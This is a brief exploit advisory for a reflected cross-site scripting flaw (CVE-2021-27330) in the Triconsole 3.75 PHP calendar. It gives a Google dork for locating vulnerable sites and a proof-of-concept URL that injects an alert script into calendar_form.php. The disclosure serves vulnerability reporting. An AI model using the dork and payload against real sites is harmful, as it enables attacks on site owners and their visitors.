Triconsole 3.75 Cross Site Scripting

`# Exploit Title: Triconsole 3.75 - Reflected XSS  
# Google Dork: inurl : /calendar/calendar_form.php  
# Date: 15/2/2021  
# Exploit Author: Akash Chathoth  
# Vendor Homepage: http://www.triconsole.com/  
# Software Link: http://www.triconsole.com/php/calendar_datepicker.php  
# Version: < 3.76 (14 February 2021)  
# Tested on: 3.75  
# CVE: 2021-27330  
  
# Exploit : http://exapmle.com/calendar_form.php/"><script>alert(document.domain)</script>  
`